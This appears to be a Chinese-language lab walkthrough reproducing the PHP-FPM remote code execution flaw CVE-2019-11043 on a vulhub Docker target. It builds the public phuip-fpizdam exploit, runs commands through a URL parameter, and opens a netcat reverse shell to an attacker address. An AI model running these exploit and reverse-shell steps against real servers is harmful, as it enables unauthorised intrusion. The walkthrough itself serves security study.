0%

PHP-FPM远程命令执行(CVE-2019-11043)

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

漏洞主要由于 PHP-FPM 中 sapi/ fpm/ fpm/ fpm_main.c 文件内的 env_path_info 下溢导致,攻击者可以使用换行符 %0a 破坏 Nginx 中 fastcgi_split_path_info 对应的正则表达式,导致传递给 PHP-FPM 的 PATH_INFO 值为空,从而触发该漏洞,通过发送特制的URL请求,在一些特殊的配置情况下会导致任意代码执行。(当nginx配置不当时,会导致php-fpm远程任意代码执行。)

参考链接:https://blog.csdn.net/weixin_40412037/article/details/111224046


影响版本

1

利用条件

利用条件比较苛刻,如下图;

image-20211221171151237

环境搭建

1. docker搭建;

1
2
3
4
5
6
# centos 7

git clone --depth=1 https://github.com.cnpmjs.org/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043/
docker-compose up -d
docker ps

image-20211221171918987

浏览器访问:http://192.168.220.132:8080

image-20211221172927672

漏洞复现

在kali中安装go环境;

1
2
3
4
5
6
7
8
9
cd /opt
wget https://dl.google.com/go/go1.13.3.linux-amd64.tar.gz
tar zxvf go1.13.3.linux-amd64.tar.gz
# 配置go 环境变量
export GOROOT=/opt/go
export GOPATH=/home/go/work
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
# 新建go 工作目录
mkdir -p /home/go/work

在kali中下载攻击脚本;

1
git clone --depth=1 https://hub.fastgit.org/neex/phuip-fpizdam.git

更换为国内源;

1
2
go env -w GOPROXY=https://goproxy.cn,direct
go env -w GO111MODULE=on

生成exp;

1
2
3
cd phuip-fpizdam
go get -v
go build

image-20211221173602341

在kali的phuip-fpizdam目录下执行;

1
./phuip-fpizdam http://192.168.220.132:8080/index.php

命令执行

用浏览器访问:http://192.168.220.132:8080?a=id

image-20211221173755066

反弹shell

首先,bash反弹shell肯定是不能成功的~

image-20211221192413253

所以,只能祈祷靶机中装有netcat。在docker中,进入到php:7.2.10-fpm环境,安装netcat,操作如下;

1
2
3
4
5
6
7
[root@localhost CVE-2019-11043]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
96dbfccbc89d nginx:1 "/docker-entrypoint.…" 2 hours ago Up 2 hours 0.0.0.0:8080->80/tcp, :::8080->80/tcp cve-2019-11043_nginx_1
c0ba394f3326 php:7.2.10-fpm "docker-php-entrypoi…" 2 hours ago Up 2 hours 9000/tcp cve-2019-11043_php_1
[root@localhost CVE-2019-11043]# docker exec -it c0b /bin/bash
root@96dbfccbc89d:/# apt-get updata
root@96dbfccbc89d:/# apt-get install netcat

之后,在攻击机中率先执行nc -lvvp 2333,浏览器再访问http://192.168.220.132:8080/?a=nc -e /bin/bash 192.168.220.138 2333

image-20211221192946623

欢迎关注我的其它发布渠道